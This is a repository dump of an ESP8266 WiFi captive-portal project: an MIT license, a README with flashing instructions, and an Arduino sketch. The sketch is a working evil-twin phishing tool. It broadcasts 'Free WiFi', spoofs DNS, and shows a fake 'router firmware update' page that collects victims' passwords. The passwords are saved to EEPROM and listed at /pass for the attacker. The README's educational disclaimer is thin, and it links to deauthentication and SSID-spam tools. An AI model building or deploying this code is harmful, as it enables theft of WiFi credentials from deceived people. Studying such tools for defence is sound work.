Repository: adamff1/ESP8266-Captive-Portal Branch: master Commit: 9af8cc6413f8 Files: 3 Total size: 12.3 KB Directory structure: gitextract_ggz4i0fm/ ├── LICENSE ├── README.md └── WiFi_Captive_Portal.ino ================================================ FILE CONTENTS ================================================ ================================================ FILE: LICENSE ================================================ MIT License Copyright (c) 2018 BlueArduino20 Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ================================================ FILE: README.md ================================================ # ESP8266 WiFi Captive Portal ## Disclaimer This project is for testing and educational purposes. Use it only against your own networks and devices. I don't take any responsibility for what you do with this program. ## About this project WiFi captive portal for the NodeMCU (ESP8266 Module) with DNS spoofing. The built-in LED will blink 5 times when a password is posted. Warning! Your saved passwords will **not** disappear when you restart/power off the ESP8266. Note: If you want to see the stored passwords go to "**172.0.0.1**/pass". For changing the SSID, go to "**172.0.0.1**/ssid" V. 2.0 (Fake sign in): https://github.com/125K/ESP8266_WiFi_Captive_Portal_2.0 # Showcase # Screenshots
172.0.0.1/index 172.0.0.1/post 172.0.0.1/pass 172.0.0.1/ssid
This is the main page. Here the user will write his password and send it. This is the post page. The user will be redirected here after posting the password. This is where the attacker can retrieve all the passwords that has been posted. Here the attacker can change the SSID name of the Access Point on the go.
Here you can donate if you liked my project and you want to support me: Buy Me A Coffee # Installation (ESP8266 Flasher - Easy way) 1. Download ESP8266 Flasher. 2. Download the release.bin file. 3. Open the ESP8266 Flasher and select the Node MCU port 4. Then, go to the config tab and select the .bin file you've just downloaded. 5. Finally, go back to the first tab and press "Flash" 6. Your Node MCU is ready! # Installation (Arduino IDE) 1. Open your Arduino IDE and go to "File -> Preferences -> Boards Manager URLs" and paste the following link: ``http://arduino.esp8266.com/stable/package_esp8266com_index.json`` 2. Go to "Tools -> Board -> Boards Manager", search "esp8266" and install esp8266 3. Go to "Tools -> Board" and select you board" 4. Download and open the sketch "WiFi_Captive_Portal.ino" 5. You can optionally change some parameters like the SSID name and texts of the page like title, subtitle, text body... 6. Upload the code into your board. 7. You are done! ## Check out my other projects - **WiFi-Spam**: :email::satellite: Spam thousands of WiFi access points with custom SSIDs. - https://github.com/125K/WiFi-Spam - **PwrDeauther**: :zap: Deauth a specific WiFi access point or an entire channel. - https://github.com/125K/PwrDeauther ================================================ FILE: WiFi_Captive_Portal.ino ================================================ // ESP8266 WiFi Captive Portal // By 125K (github.com/125K) // Libraries #include #include #include #include // Default SSID name const char* SSID_NAME = "Free WiFi"; // Default main strings #define SUBTITLE "Router info." #define TITLE "Update" #define BODY "Your router firmware is out of date. Update your firmware to continue browsing normally." #define POST_TITLE "Updating..." #define POST_BODY "Your router is being updated. Please, wait until the proccess finishes.
Thank you." #define PASS_TITLE "Passwords" #define CLEAR_TITLE "Cleared" // Init system settings const byte HTTP_CODE = 200; const byte DNS_PORT = 53; const byte TICK_TIMER = 1000; IPAddress APIP(172, 0, 0, 1); // Gateway String allPass = ""; String newSSID = ""; String currentSSID = ""; // For storing passwords in EEPROM. int initialCheckLocation = 20; // Location to check whether the ESP is running for the first time. int passStart = 30; // Starting location in EEPROM to save password. int passEnd = passStart; // Ending location in EEPROM to save password. unsigned long bootTime=0, lastActivity=0, lastTick=0, tickCtr=0; DNSServer dnsServer; ESP8266WebServer webServer(80); String input(String argName) { String a = webServer.arg(argName); a.replace("<","<");a.replace(">",">"); a.substring(0,200); return a; } String footer() { return ""; } String header(String t) { String a = String(currentSSID); String CSS = "article { background: #f2f2f2; padding: 1.3em; }" "body { color: #333; font-family: Century Gothic, sans-serif; font-size: 18px; line-height: 24px; margin: 0; padding: 0; }" "div { padding: 0.5em; }" "h1 { margin: 0.5em 0 0 0; padding: 0.5em; }" "input { width: 100%; padding: 9px 10px; margin: 8px 0; box-sizing: border-box; border-radius: 0; border: 1px solid #555555; border-radius: 10px; }" "label { color: #333; display: block; font-style: italic; font-weight: bold; }" "nav { background: #0066ff; color: #fff; display: block; font-size: 1.3em; padding: 1em; }" "nav b { display: block; font-size: 1.5em; margin-bottom: 0.5em; } " "textarea { width: 100%; }"; String h = "" "" + a + " :: " + t + "" "" "" "" "

" + t + "

"; return h; } String index() { return header(TITLE) + "
" + BODY + "
"+ "
" + footer(); } String posted() { String pass = input("m"); pass = "
  • " + pass + "
  • "; // Adding password in a ordered list. allPass += pass; // Updating the full passwords. // Storing passwords to EEPROM. for (int i = 0; i <= pass.length(); ++i) { EEPROM.write(passEnd + i, pass[i]); // Adding password to existing password in EEPROM. } passEnd += pass.length(); // Updating end position of passwords in EEPROM. EEPROM.write(passEnd, '\0'); EEPROM.commit(); return header(POST_TITLE) + POST_BODY + footer(); } String pass() { return header(PASS_TITLE) + "
      " + allPass + "

    Back to Index

    Clear passwords

    " + footer(); } String ssid() { return header("Change SSID") + "

    Here you can change the SSID name. After pressing the button \"Change SSID\" you will lose the connection, so reconnect to the new SSID.

    " + "
    "+ "
    " + footer(); } String postedSSID() { String postedSSID = input("s"); newSSID="
  • " + postedSSID + "
  • "; for (int i = 0; i < postedSSID.length(); ++i) { EEPROM.write(i, postedSSID[i]); } EEPROM.write(postedSSID.length(), '\0'); EEPROM.commit(); WiFi.softAP(postedSSID); } String clear() { allPass = ""; passEnd = passStart; // Setting the password end location -> starting position. EEPROM.write(passEnd, '\0'); EEPROM.commit(); return header(CLEAR_TITLE) + "

    The password list has been reseted.

    Back to Index
    " + footer(); } void BLINK() { // The built-in LED will blink 5 times after a password is posted. for (int counter = 0; counter < 10; counter++) { // For blinking the LED. digitalWrite(BUILTIN_LED, counter % 2); delay(500); } } void setup() { // Serial begin Serial.begin(115200); bootTime = lastActivity = millis(); EEPROM.begin(512); delay(10); // Check whether the ESP is running for the first time. String checkValue = "first"; // This will will be set in EEPROM after the first run. for (int i = 0; i < checkValue.length(); ++i) { if (char(EEPROM.read(i + initialCheckLocation)) != checkValue[i]) { // Add "first" in initialCheckLocation. for (int i = 0; i < checkValue.length(); ++i) { EEPROM.write(i + initialCheckLocation, checkValue[i]); } EEPROM.write(0, '\0'); // Clear SSID location in EEPROM. EEPROM.write(passStart, '\0'); // Clear password location in EEPROM EEPROM.commit(); break; } } // Read EEPROM SSID String ESSID; int i = 0; while (EEPROM.read(i) != '\0') { ESSID += char(EEPROM.read(i)); i++; } // Reading stored password and end location of passwords in the EEPROM. while (EEPROM.read(passEnd) != '\0') { allPass += char(EEPROM.read(passEnd)); // Reading the store password in EEPROM. passEnd++; // Updating the end location of password in EEPROM. } WiFi.mode(WIFI_AP); WiFi.softAPConfig(APIP, APIP, IPAddress(255, 255, 255, 0)); // Setting currentSSID -> SSID in EEPROM or default one. currentSSID = ESSID.length() > 1 ? ESSID.c_str() : SSID_NAME; Serial.print("Current SSID: "); Serial.print(currentSSID); WiFi.softAP(currentSSID); // Start webserver dnsServer.start(DNS_PORT, "*", APIP); // DNS spoofing (Only for HTTP) webServer.on("/post",[]() { webServer.send(HTTP_CODE, "text/html", posted()); BLINK(); }); webServer.on("/ssid",[]() { webServer.send(HTTP_CODE, "text/html", ssid()); }); webServer.on("/postSSID",[]() { webServer.send(HTTP_CODE, "text/html", postedSSID()); }); webServer.on("/pass",[]() { webServer.send(HTTP_CODE, "text/html", pass()); }); webServer.on("/clear",[]() { webServer.send(HTTP_CODE, "text/html", clear()); }); webServer.onNotFound([]() { lastActivity=millis(); webServer.send(HTTP_CODE, "text/html", index()); }); webServer.begin(); // Enable the built-in LED pinMode(BUILTIN_LED, OUTPUT); digitalWrite(BUILTIN_LED, HIGH); } void loop() { if ((millis() - lastTick) > TICK_TIMER) {lastTick = millis();} dnsServer.processNextRequest(); webServer.handleClient(); }